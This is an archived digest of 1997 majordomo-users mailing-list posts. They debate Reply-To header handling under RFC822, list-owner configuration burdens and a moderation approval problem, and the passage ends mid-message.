god.knotwork.com (8.8.4/8.6.10) with SMTP id UAA24963 for ; Mon, 2 Jun 1997 20:10:09 -0300 Date: Mon, 2 Jun 1997 20:10:05 -0300 (ADT) From: Knotwork Admin To: majordomo-users@GreatCircle.COM Subject: Re: Reply To In-Reply-To: <199706022248.RAA29744@Mars.mcs.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Mon, 2 Jun 1997, Leslie Mikesell wrote: > However, I don't quite understand why we need mailing list software > if User Agents are supposed to do everything by themselves. Why > not make all user agents capable of obtaining the envelope address > list and expanding it themselves instead of submitting through > software that understands the concept of discussion lists and > processes it accordingly? Partly to preserve privacy. Only the central list server knows all the subscriber addresses. Subscribers can collect the addresses of other subscribers who post, but not the addresses of lurkers. It would actually make a fair bit of sense though now that the WWW/HTML/etc libs are bidirectional all types to all types (or heading that way) to have a new type of email address which is directly a pointer to a list URL instead of to a list server's mailbox. Probably it still would not be the user agent but rather the transport agent that would actually grab the list from the specified URL and do the actual transporting. So yes you are right, the state of the art of remotely accessible files is now at a point where the user's nearest transport agent, or even the user agent, could reasonably access a list that is shared in live in real time with all other subscribers. Mailing lists date back to earlier tech; but also allow more restrictions to be placed upon using the subscriber list than simple network file sharing offers. Blessed Be. -MarkM- -- We do remote Linux install, config, support and administration. Inquire. ........................................................................ "The saddest thing is they WANT to be ignorant, INSIST on it in fact." From owner-majordomo-users-outgoing Mon Jun 2 16:39:54 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA06759 for majordomo-users-outgoing; Mon, 2 Jun 1997 16:20:23 -0700 (PDT) Received: from elvis.vnet.net (elvis.vnet.net [166.82.1.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id QAA06729 for ; Mon, 2 Jun 1997 16:20:09 -0700 (PDT) Received: from ns.ASARian.org (ns.ASARian.org [206.66.160.156]) by elvis.vnet.net (8.8.5/8.8.4) with ESMTP id TAA02696; Mon, 2 Jun 1997 19:23:33 -0400 (EDT) Received: from localhost (fuzzy@localhost) by ns.ASARian.org (8.6.12/8.6.12) with SMTP id TAA03596; Mon, 2 Jun 1997 19:22:40 -0400 Date: Mon, 2 Jun 1997 19:22:39 -0400 (EDT) From: Fuzzy To: Jason L Tibbitts III cc: Majordomo-users List Subject: Re: wierd characters in index responses In-Reply-To: Message-ID: X-No-Archive: yes Organization: ASARian MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On 2 Jun 1997, Jason L Tibbitts III wrote: > Date: 02 Jun 1997 17:16:00 -0500 > From: Jason L Tibbitts III > To: Fuzzy > Cc: Majordomo-users List > Subject: Re: wierd characters in index responses > > >>>>> "F" == Fuzzy writes: > > F> -rw-rw---- 1 majordom majordom 41260 May 19 01:01 ^[[0mv01.n001^[[0m > > Looks like ls is putting colors into its output. Figure out how to turn it > off. > > - J< > gettting the ls from a backup disk fixed it ... who knows? anyway its working right now :). thnaks all :) Fuz From owner-majordomo-users-outgoing Mon Jun 2 16:45:29 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id QAA06630 for majordomo-users-outgoing; Mon, 2 Jun 1997 16:19:15 -0700 (PDT) Received: from Kitten.mcs.com (Kitten.mcs.com [192.160.127.90]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id QAA06598 for ; Mon, 2 Jun 1997 16:19:05 -0700 (PDT) Received: from Mars.mcs.net (les@Mars.mcs.net [192.160.127.85]) by Kitten.mcs.com (8.8.5/8.8.2) with ESMTP id SAA21209; Mon, 2 Jun 1997 18:22:37 -0500 (CDT) Received: (from les@localhost) by Mars.mcs.net (8.8.5/8.8.2) id SAA01969; Mon, 2 Jun 1997 18:22:36 -0500 (CDT) From: Leslie Mikesell Message-Id: <199706022322.SAA01969@Mars.mcs.net> Subject: Re: Reply To To: rich.pieri@prescienttech.com (Rich Pieri) Date: Mon, 2 Jun 1997 18:22:36 -0500 (CDT) Cc: majordomo-users@GreatCircle.COM In-Reply-To: from "Rich Pieri" at Jun 2, 97 10:11:10 am X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk > If the moderator becomes the originator then his mailbox belongs in the > - From header, and what was originally there should be moved to the > Resent-From (I think) header. Regardless, *MAJORDOMO* is not the > originator, it is the agent responsible for final submission of the message > to the network. You seem to miss the distinction that while majordomo is an agent, the list is a separate entity. We can mince words about whether majordomo is an agent for the list or the author but for this message it doesn't matter. As the author, I want the submission agent to set the reply-to: back to the list address for me. If majordomo is submitting for me, then that's the right thing for it to do. If the list exists as a discussion group and the list owner wants normal replies to be directed to the list and majordomo is an agent for the list, then setting the reply-to: is the right thing to do. > Who Majordomo is accting for does not change the fact that it is acting for > someone. It clearly is not the originator of any list traffic and > therefore should not be doing anything with originator headers. Why not? Are you saying that authors have to type their headers by hand rather than letting the submission agents do it for them? > LM> You wouldn't have sent something to me were it not for the list so why > LM> shouldn't my reply be guided back the same way? However, this is silly > LM> semantics - > > So RFC822 is nothing more than silly semantics? RFC822 is rather clear on this point in text that has already been quoted here. The Reply-To: header was invented in part for this specific case: 4.4.3. REPLY-TO / RESENT-REPLY-TO [...] A somewhat different use may be of some help to "text message teleconferencing" groups equipped with automatic distribution services: include the address of that service in the "Reply- To" field of all messages submitted to the teleconference; then participants can "reply" to conference submissions to guarantee the correct distribution of any submission of their own. I don't see any requirement there that the author has to hand-type this header himself instead of letting the submission software do it for him. What is the purpose of mailing list software if not to manage these details for us? That's the silly semantics issue. If majordomo isn't an extension of 'my' user agent, why not, and why do you think I am sending through it? > LM> the real issue is where a 'normal' reply should go and I believe this > LM> depends on the nature of the list and the intent of it's manager. > > No, a 'normal' reply goes to wherever the composer of that reply wishes. > Only he knows whether or not the message he is composing is relevant to the > list, and only he is in a position to do anything about where that message > is addressed. Of course the responding person has the choice to override the suggested reply address, but he should only have to do so in cases where the response is not what was expected. On all the messages I compose and submit to a list, I wish to have a Reply-To: inserted for me to direct messages back to the list. It is entirely irrelevant to me where this happens. My user agent isn't a specialized list processing agent so it doesn't handle this easily. If majordomo is my submission agent, then that's where it should happen. If it isn't submitting on my behalf then it should do what the list owner wants instead of what I want. Here are some sample headers from lists where I have never seen a single complaint about the way the list works. Are all these people inserting the Reply-To: the hard way? ------ Received: (from majordom@localhost) by listserv2.direct.net (8.8.5/8.8.4) id OAA25746 for postodbc-users-outgoing; Mon, 2 Jun 1997 14:45:28 -0700 Message-Id: <199706021446.QAA22279@butterfly.hgf.de> Comments: Authenticated sender is From: "Volker Richert" Organization: Sektor Online Services To: postodbc-users@listserv.direct.net Subject: Re: Problem PostODBC 0.21 and Access 7.0 In-reply-to: <336e9c8f.246101716@pgp.netwave.de> Sender: owner-postodbc-users@listserv.direct.net Precedence: bulk Reply-To: postodbc-users@listserv.direct.net ------ From owner-modperl@LISTPROC.ITRIBE.NET Mon Jun 2 11:12:16 1997 Message-ID: <199706021545.QAA32387@techine.webdev.co.uk> Date: Mon, 2 Jun 1997 16:53:58 +0100 Reply-To: Discussion about the Apache ModPerl Module Sender: Discussion about the Apache ModPerl Module From: Ben Middleton Subject: Out of memory! To: MODPERL@LISTPROC.ITRIBE.NET ------- Les Mikesell les@mcs.com From owner-majordomo-users-outgoing Mon Jun 2 17:30:31 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id RAA14306 for majordomo-users-outgoing; Mon, 2 Jun 1997 17:24:06 -0700 (PDT) Received: from god.knotwork.com (god.knotwork.com [198.166.227.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id RAA14249 for ; Mon, 2 Jun 1997 17:23:50 -0700 (PDT) Received: from localhost (root@localhost) by god.knotwork.com (8.8.4/8.6.10) with SMTP id VAA16778 for ; Mon, 2 Jun 1997 21:27:38 -0300 Date: Mon, 2 Jun 1997 21:27:37 -0300 (ADT) From: Knotwork Admin To: majordomo-users@GreatCircle.COM Subject: Re: Reply To In-Reply-To: <199706022322.SAA01969@Mars.mcs.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Mon, 2 Jun 1997, Leslie Mikesell wrote: > I don't see any requirement there that the author has to hand-type > this header himself instead of letting the submission software do > it for him. What is the purpose of mailing list software if not > to manage these details for us? That's the silly semantics issue. > If majordomo isn't an extension of 'my' user agent, why not, and > why do you think I am sending through it? YOUR user-agent's job is to enmable YOU to make choices about YOUR postings and enable YOU to manipulate them. If majordomo were YOUR agent then yes it would be majordomo's job to provide YOU the subscriber with control over what to put in the Reply-To header. Majordomo fails to provide you the user with the choice if it arbitrarily forces its owner's decision instead of yours. It is acting as the List Owner's Agent in that case, not the submitting user's agent. It is the job of the submitting user's agent to provide the submitting user with control over the originator-headers. Majordomo only gives the submitting user such control if it refrains from changing the Reply-To header itself; for that way it does indeed act on behalf of the submitting user, honouring the submitting user's decision as to whatr content, if any, the Reply-To header is to have. An "agent" that does not include a means by which you can set or unset your originator headers the way that you desire is not really YOUR agent, it is someone else's. So in this respect Majordomo is an extension of the MUA if and when it allows the MUA's selected Reply-To to stand, and an agent of some other party if and when it overrides the MUA's selected Reply-To header content. Blessed Be. -MarkM- > On all the messages I compose and submit to a list, I wish to have > a Reply-To: inserted for me to direct messages back to the list. > It is entirely irrelevant to me where this happens. My user agent ...doesnt handle it easily. Fine. Some user agents are less capable than others. If your user-agent does not easily do things that you frequently want or need to do, that is a sure sign that you are outgrowing your user agent and should be miliating for a new improved version. Majordomo is ALREADY acting as an extension of your MUA by GIVING TO YOU to the choice of what your Reply-To header should say. If you wish it automatically set then perhaps the new majordomo should store in its per-subscriber database eachjsubscriber's Reply-To address. it probably makes sense anyway that a subsriber should be able to have at least two addresses, the one that posts FROM are assumed to be from them and the one that any posts TO them should be sent. So Majordomo-][ may already be well on its way to solving this by taking on even more of the MUA function. Blessed Be. -MarkM- -- We do remote Linux install, config, support and administration. Inquire. ........................................................................ "The saddest thing is they WANT to be ignorant, INSIST on it in fact." From owner-majordomo-users-outgoing Tue Jun 3 00:04:32 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id XAA14524 for majordomo-users-outgoing; Mon, 2 Jun 1997 23:55:52 -0700 (PDT) Received: from jaguar.cis.um.edu.mt ([193.188.43.3]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id XAA14475 for ; Mon, 2 Jun 1997 23:55:35 -0700 (PDT) Received: (from cmeli@localhost) by jaguar.cis.um.edu.mt (8.8.5/8.8.1-CISNET) id IAA04150; Tue, 3 Jun 1997 08:59:14 +0100 (GMT+0100) Date: Tue, 3 Jun 1997 08:59:14 +0100 (GMT+0100) Message-Id: <199706030759.IAA04150@jaguar.cis.um.edu.mt> X-Comment: Refuse all traffic from AGIS due to their massive network abuse From: Clyde Meli Subject: Re: www.majordomo.com To: Kynn Bartlett , "Roger B.A. Klorese" In-Reply-To: Kynn Bartlett's message of Sat, 31 May 1997 21:32:29 -0700 Organisation: University of Malta X-Url: "http://www.cis.um.edu.mt/links/mnr" Cc: majordomo-users@GreatCircle.COM Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk > At 09:05 PM 5/31/97 -0700, Roger B.A. Klorese wrote: > >...As is "Windows", the trademark for Microsoft on which has been upheld > >in courts repeatedly. > > [...] > >There are big differences between *similar* names and *identical* ones > >from a legal perspective. > > Both good points. But, if Brent Chapman/Great Circle doesn't have > a trademark on majordomo -- as I'm told they don't -- does that make > both points moot? > > > -- > /\ /\ /\ /\ Kynn Bartlett / kynn@idyllmtn.com > / \ / \/ \ / \ Idyll Mountain Internet > / \ //\ /\ \ / \ > '_| _` // \/ \__\ '_| _` Vice President, HTML Writers Guild > But they have the copyright ownership, so the points are not moot at all. From owner-majordomo-users-outgoing Tue Jun 3 07:00:44 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id GAA23598 for majordomo-users-outgoing; Tue, 3 Jun 1997 06:49:05 -0700 (PDT) Received: from londo.prescienttech.com (londo.prescienttech.com [199.103.216.62]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id GAA23581 for ; Tue, 3 Jun 1997 06:48:58 -0700 (PDT) Received: from gkar.prescienttech.com (gkar.prescienttech.com [111.17.19.1]) by londo.prescienttech.com (8.8.5/8.8.5) with ESMTP id JAA18133 for ; Tue, 3 Jun 1997 09:52:34 -0400 Received: (from ratinox@localhost) by gkar.prescienttech.com (8.8.5/8.8.5) id JAA04478; Tue, 3 Jun 1997 09:52:34 -0400 From: Rich Pieri To: majordomo-users@greatcircle.com Subject: Re: Reply To References: <199706022248.RAA29744@Mars.mcs.net> X-No-Archive: yes Date: 03 Jun 1997 09:52:34 -0400 In-Reply-To: Leslie Mikesell's message of Mon, 2 Jun 1997 17:48:10 -0500 (CDT) Message-ID: Lines: 31 X-Mailer: Gnus v5.4.55/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "LM" == Leslie Mikesell writes: >> The user agent needs at least two distinct types of response to an >> article posting letter item or document: respond to where the document >> is going or respond to the author of the document. LM> You are right, of course. Let me know when this step is complete. Gnus had it two years ago. Elm or pine (I forget which) asks where to send replies when you invoke the reply function. Pegasus (Windows) pops up a button box that performs similar functions. I expect that there are other MUAs out there that have similar functionality. -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition Charset: noconv iQCVAwUBM5QhoZ6VRH7BJMxHAQGAVgQAiNkNKnrytPffsSzsCAsY5TYtKy/vBkrA gnMoIbdgBhdSo19t1OPby/0E2NeBnWBGyBJ5QZJye1agMfp0QWT3BlGb4OyM5Onh KD1C/+g7H0fE+M+O/KvzzYv+/94LZAL5o76gTPMZdg7k84ZRvn8fRFBeaNDBLSCy UFb6i7bbWz8= =gno0 -----END PGP SIGNATURE----- -- Rich Pieri | Do not use Happy Fun Ball on Prescient Technologies, Inc. | concrete. A Stone & Webster Company | I speak for myself, not PTI or SWEC | From owner-majordomo-users-outgoing Tue Jun 3 07:20:43 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id HAA24880 for majordomo-users-outgoing; Tue, 3 Jun 1997 07:03:52 -0700 (PDT) Received: from londo.prescienttech.com (londo.prescienttech.com [199.103.216.62]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id HAA24860 for ; Tue, 3 Jun 1997 07:03:46 -0700 (PDT) Received: from gkar.prescienttech.com (gkar.prescienttech.com [111.17.19.1]) by londo.prescienttech.com (8.8.5/8.8.5) with ESMTP id KAA18405 for ; Tue, 3 Jun 1997 10:07:23 -0400 Received: (from ratinox@localhost) by gkar.prescienttech.com (8.8.5/8.8.5) id KAA04882; Tue, 3 Jun 1997 10:07:23 -0400 From: Rich Pieri To: majordomo-users@greatcircle.com Subject: Re: Reply To References: <199706022322.SAA01969@Mars.mcs.net> X-No-Archive: yes Date: 03 Jun 1997 10:07:23 -0400 In-Reply-To: Leslie Mikesell's message of Mon, 2 Jun 1997 18:22:36 -0500 (CDT) Message-ID: Lines: 42 X-Mailer: Gnus v5.4.55/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "LM" == Leslie Mikesell writes: LM> You seem to miss the distinction that while majordomo is an agent, the LM> list is a separate entity. This is a straw man argument. For whom Majordomo is acting does not change the fact that it is acting for another. There is absolutely no question that Majordomo is acting for another: that is the sole purpose of Majordomo's existance. According to RFC822, any agent (aside from the MTA itself) that acts for another in the process of delivering mail is the sender of that message. Message senders are clearly distinct from message originators. Message senders are prohibited from creating or modifying originator headers such as Subject, From and Reply-To. Therefore, as a message sender, Majordomo is prohibited from creating or modifying Reply-To headers. I suggest you read RFC822 in its entirety instead of taking bits and pieces of it out of context. Those that wrote it are not stupid; they understood then exactly the kinds of problems that would arise from injudicious alteration of header information, so they clearly defined the roles of various agents involved in the delivery of Internet mail to prevent those problems from arising. -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition Charset: noconv iQCVAwUBM5QlGZ6VRH7BJMxHAQH7agQAyTIPu/ySYaK1Eytu74BndW/Cr3KS1GBv Jk1e69PbVy2dRMTsYeVcSoT6QEyxXE2tAf0YryHvWBqhal2muqcaN0RK8tuc1ZeZ skdBdX3lA2mmZVKXNqx1Rt2uUebeSdrA5qtcJXtV8kBqq4vFeWqeR7jcDtgzXHEu VJLnYrvoSEU= =9Fql -----END PGP SIGNATURE----- -- Rich Pieri | Caution: Happy Fun Ball may Prescient Technologies, Inc. | suddenly accelerate to dangerous A Stone & Webster Company | speeds. I speak for myself, not PTI or SWEC | From owner-majordomo-users-outgoing Tue Jun 3 08:15:56 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA02089 for majordomo-users-outgoing; Tue, 3 Jun 1997 08:05:53 -0700 (PDT) Received: from turbot.dfo.ca (cod.dfo.ca [142.2.18.252]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id IAA02013 for ; Tue, 3 Jun 1997 08:05:35 -0700 (PDT) Received: tid MAA15167; Tue, 3 Jun 1997 12:09:27 -0300 Received: by ecology.bio.dfo.ca (940816.SGI.8.6.9/940406.SGI.AUTO) for Majordomo-Users@GreatCircle.COM id MAA07809; Tue, 3 Jun 1997 12:08:50 -0300 From: bill@ecology.bio.dfo.ca (Bill Silvert) Message-Id: <199706031508.MAA07809@ecology.bio.dfo.ca> Subject: Re: Support of old config methods, list-owners To: Majordomo-Users@GreatCircle.COM (Majordomo Users) Date: Tue, 3 Jun 1997 12:08:44 -0300 (ADT) X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Brock Rozen writes about a point that has bothered me for a long time: >By nature, list-owners shouldn't be clueless. Yes, I know it's a nice >thought -- but in order to deal with the list configuration file, they >have to know something about computers and majordomo. The problem is that list-owners are selected for their involvement with the subject, not necessarily for their mastery of computers. My greatest concern about MD is that list administration is really too complicated for most of the people who I think should be doing the job, so I end up managing almost all our lsits myself. It would be nice if we could identify a core set of basic tools that a list-owner needs, and facilitate those so that the list-owner can do just a few essential things, and can let the mail server administrator handle the rest. For example (damn, I know that Jason will flame me for this!), it would be great if the list-owner could fire off a command like moderate LISTNAME PASSWORD to impose moderation as soon as junk starts flying through a list, rather than having to retrieve and modify correctly the entire config file. Frankly, when I look at the standard instructions to new list-owners, most of the time I don't even send them out. Look at the number of postings we get from MD administrators who can't figure out how to make noadvertise work, and yet we expect novices to wade through all the stuff about regexps? -- Bill Silvert, Habitat Ecology Section, Bedford Institute of Oceanography, P. O. Box 1006, Dartmouth, Nova Scotia, CANADA B2Y 4A2, Tel. (902)426-1577 From owner-majordomo-users-outgoing Tue Jun 3 08:50:13 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA05373 for majordomo-users-outgoing; Tue, 3 Jun 1997 08:29:01 -0700 (PDT) Received: from londo.prescienttech.com (londo.prescienttech.com [199.103.216.62]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id IAA05366 for ; Tue, 3 Jun 1997 08:28:55 -0700 (PDT) Received: from gkar.prescienttech.com (gkar.prescienttech.com [111.17.19.1]) by londo.prescienttech.com (8.8.5/8.8.5) with ESMTP id LAA19779 for ; Tue, 3 Jun 1997 11:32:29 -0400 Received: (from ratinox@localhost) by gkar.prescienttech.com (8.8.5/8.8.5) id LAA07261; Tue, 3 Jun 1997 11:32:28 -0400 From: Rich Pieri To: majordomo-users@greatcircle.com Subject: Re: Support of old config methods, list-owners References: <199706031508.MAA07809@ecology.bio.dfo.ca> X-No-Archive: yes Date: 03 Jun 1997 11:32:27 -0400 In-Reply-To: bill@ecology.bio.dfo.ca's message of Tue, 3 Jun 1997 12:08:44 -0300 (ADT) Message-ID: Lines: 27 X-Mailer: Gnus v5.4.55/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- >>>>> "BS" == Bill Silvert writes: BS> The problem is that list-owners are selected for their involvement with BS> the subject, not necessarily for their mastery of computers. If you want to customize your car you learn how to do it. If you want to customize Majordomo you learn how to do it. Performance tuning an engine is a lot more challenging than fine tuning Majordomo. -----BEGIN PGP SIGNATURE----- Version: 4.0 Business Edition Charset: noconv iQCVAwUBM5Q5Cp6VRH7BJMxHAQFqwwQAwGWKy0BIN7Au911hU23vjqImZZYGpULN QyNUI9oofnVvo3fEtqYAw+jpkajKU7M9+JDMxMgid3kRVqx8r8Yu04pEF6nXCoEP T8sPcXAeLIZ+QboMqUuMm4GkMa1XytvPUQxsm17hhnBkObZkRyqeznqXe5pgBz/p MRw604TrDzw= =zltk -----END PGP SIGNATURE----- -- Rich Pieri | Ingredients of Happy Fun Ball Prescient Technologies, Inc. | include an unknown glowing A Stone & Webster Company | substance which fell to Earth, I speak for myself, not PTI or SWEC | presumably from outer space. From owner-majordomo-users-outgoing Tue Jun 3 09:06:41 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA06243 for majordomo-users-outgoing; Tue, 3 Jun 1997 08:36:17 -0700 (PDT) Received: from god.knotwork.com (god.knotwork.com [198.166.227.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id IAA06198 for ; Tue, 3 Jun 1997 08:36:08 -0700 (PDT) Received: from localhost (root@localhost) by god.knotwork.com (8.8.4/8.6.10) with SMTP id MAA26870 for ; Tue, 3 Jun 1997 12:39:45 -0300 Date: Tue, 3 Jun 1997 12:39:42 -0300 (ADT) From: Knotwork Admin To: Majordomo Users Subject: Re: Support of old config methods, list-owners In-Reply-To: <199706031508.MAA07809@ecology.bio.dfo.ca> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk On Tue, 3 Jun 1997, Bill Silvert wrote: > Brock Rozen writes about a point that has bothered me for a long time: > >By nature, list-owners shouldn't be clueless. Yes, I know it's a nice > >thought -- but in order to deal with the list configuration file, they > >have to know something about computers and majordomo. > The problem is that list-owners are selected for their involvement with > the subject, not necessarily for their mastery of computers. My greatest > concern about MD is that list administration is really too complicated > for most of the people who I think should be doing the job, so I end up > managing almost all our lsits myself. The thing is that the "dumb" users are "dumb" in different ways. SOme are MacDumb, some are WinDumb, etc. What they really need is not more and more purportedly-simple textstring combinations which magically cause effects if emailed just right to just the right place; but rather, MacListManager Pro or WinListManager Pro or the like end-user client program specific to the look and feel that is all they are willing to admit the possibility of even attempting to understand. Such a tool would probably know how to handle all the commonly used types of mailing list, from manually maintained ones through SmartList and Majordomo and ListProc and so on to various obscure ones that only the developers of such clients may even know about anymore. Basically the cure for dumb users is not dumb services or even smart services but rather smnart user-agents that look dumb enough to dumb users to encourage the dumb users to attempt to understand them. Blessed Be. -MarkM- -- We do remote Linux install, config, support and administration. Inquire. ........................................................................ "The saddest thing is they WANT to be ignorant, INSIST on it in fact." From owner-majordomo-users-outgoing Tue Jun 3 09:16:53 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA09775 for majordomo-users-outgoing; Tue, 3 Jun 1997 09:01:57 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id JAA09664 for ; Tue, 3 Jun 1997 09:01:26 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id LAA21830; Tue, 3 Jun 1997 11:03:49 -0500 (CDT) To: bill@ecology.bio.dfo.ca (Bill Silvert) Cc: Majordomo-Users@GreatCircle.COM (Majordomo Users) Subject: Re: Support of old config methods, list-owners References: <199706031508.MAA07809@ecology.bio.dfo.ca> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 03 Jun 1997 11:03:48 -0500 In-Reply-To: bill@ecology.bio.dfo.ca's message of Tue, 3 Jun 1997 12:08:44 -0300 (ADT) Message-ID: Lines: 36 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk >>>>> "BS" == Bill Silvert writes: BS> It would be nice if we could identify a core set of basic tools that a BS> list-owner needs, and facilitate those so that the list-owner can do BS> just a few essential things, and can let the mail server administrator BS> handle the rest. Unfortunately that's going to differ for every list. We can tag a set of konfig options as 'BASIC' and set it up so that by default the owner only sees that set unless they ask for more. BS> it would be great if the list-owner could fire off a command BS> like BS> moderate LISTNAME PASSWORD Haven't we been here before? First off, no "password as second argument" crud; "approve" is universal. Second, we already have a method to set individual config variables: approve password configset listname moderate = yes Admittedly not as compact, but there's no retrieval of the config file necessary. Now, I can't imagine that you want to have two commands for every variable (moderate/unmoderate) that the list owner might want to set that way. After a fashion, it gets as difficult to remember the name of the command as it does to remember the name of the variable. Plus the list owner's help text would be getting a bit long if you added another hundred commands to it. BTW, adding commands like this really is trivial if you see the need to do it at your site. - J< From owner-majordomo-users-outgoing Tue Jun 3 09:30:53 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id JAA11897 for majordomo-users-outgoing; Tue, 3 Jun 1997 09:20:27 -0700 (PDT) Received: from ayla.idyllmtn.com (ayla.idyllmtn.com [206.16.238.1]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with SMTP id JAA11872 for ; Tue, 3 Jun 1997 09:20:19 -0700 (PDT) Received: (from kynn@localhost) by ayla.idyllmtn.com (8.6.12/8.6.9) id JAA09366; Tue, 3 Jun 1997 09:18:21 -0700 From: Kynn Bartlett Message-Id: <199706031618.JAA09366@ayla.idyllmtn.com> Subject: Re: www.majordomo.com To: cmeli@cis.um.edu.mt (Clyde Meli) Date: Tue, 3 Jun 1997 09:18:20 -0700 (PDT) Cc: kynn@idyllmtn.com, rogerk@QueerNet.ORG, majordomo-users@GreatCircle.COM In-Reply-To: <199706030759.IAA04150@jaguar.cis.um.edu.mt> from "Clyde Meli" at Jun 3, 97 08:59:14 am X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Someone wrote: > But they have the copyright ownership, so the points are not moot at all. If only copyright did what you think it does. --Kynn From owner-majordomo-users-outgoing Tue Jun 3 09:40:35 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA09253 for majordomo-users-outgoing; Tue, 3 Jun 1997 08:59:46 -0700 (PDT) Received: from izzy4.izzy.net (izzy4.izzy.net [198.108.102.10]) by honor.greatcircle.com (8.8.5/Honor-970427-1) with ESMTP id IAA09184 for ; Tue, 3 Jun 1997 08:59:29 -0700 (PDT) Received: from izzy5.izzy.net (izzy5.izzy.net [198.108.102.9]) by izzy4.izzy.net (8.8.5/8.6.9) with ESMTP id MAA14772 for ; Tue, 3 Jun 1997 12:03:01 -0400 (EDT) Received: (from sewiv@localhost) by izzy5.izzy.net (8.8.5/8.6.9) id MAA23549; Tue, 3 Jun 1997 12:03:01 -0400 (EDT) Date: Tue, 3 Jun 1997 12:03:00 -0400 (EDT) From: "Sanford E. Walke IV" To: majordomo-users@greatcircle.com Subject: approval problems Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: majordomo-users-owner@GreatCircle.COM Precedence: bulk Okay, it was suggested that I post verbatim results, to try to figure out what I'm doing wrong. Here's the first approval bounce message, totally normal. (Note: I'm running 1.93 on Solaris 2.3 with sendmail 8.8.5 and perl 5.003.) >From owner-chim-members@chim.org Date: Tue, 3 Jun 1997 10:48:59 -0400 (EDT) From: owner-chim-members@chim.org To: owner-chim-members@chim.org Subject: BOUNCE chim-members@chim.org: Approval required >From chim-members-owner Tue Jun 3 10:48:51 1997 Received: (from portia@localhost) by izzy4.izzy.net (8.8.5/8.6.9) id KAA10314; Tue, 3 Jun 1997 10:48:50 -0400 (EDT) Date: Tue, 3 Jun 1997 10:48:47 -0400 (EDT) From: "Portia A. Testuser" X-Sender: portia@izzy4 To: chim-members@chim.org Subject: test Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII portia test ------end------- Here's how I replied, straight out of the FAQ: >From sewiv@izzy.net Date: Tue, 3 Jun 1997 11:35:13 -0400 (EDT) From: "Sanford E. Walke IV" To: chim-members@chim.org Subject: BOUNCE chim-members@chim.org: Approval required (fwd) Approved: xxxxxx >From chim-members-owner Tue Jun 3 10:48:51 1997 Received: (from portia@localhost) by izzy4.izzy.net (8.8.5/8.6.9) id KAA10314; Tue, 3 Jun 1997 10:48:50 -0400 (EDT) Date: Tue, 3 Jun 1997 10:48:47 -0400 (EDT) From: "Portia A. Testuser" X-Sender: portia@izzy4 To: chim-members@chim.org Subject: test Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII portia test ------end------- Here's the response I got to that approval: >From owner-chim-members@chim.org Date: Tue, 3 Jun 1997 11:35:24 -0400 (EDT) From: owner-chim-members@chim.org To: owner-chim-members@chim.org Subject: BOUNCE chim-members@chim.org: Approval required >From chim-members-owner Tue Jun 3 11:35:15 1997 Received: from 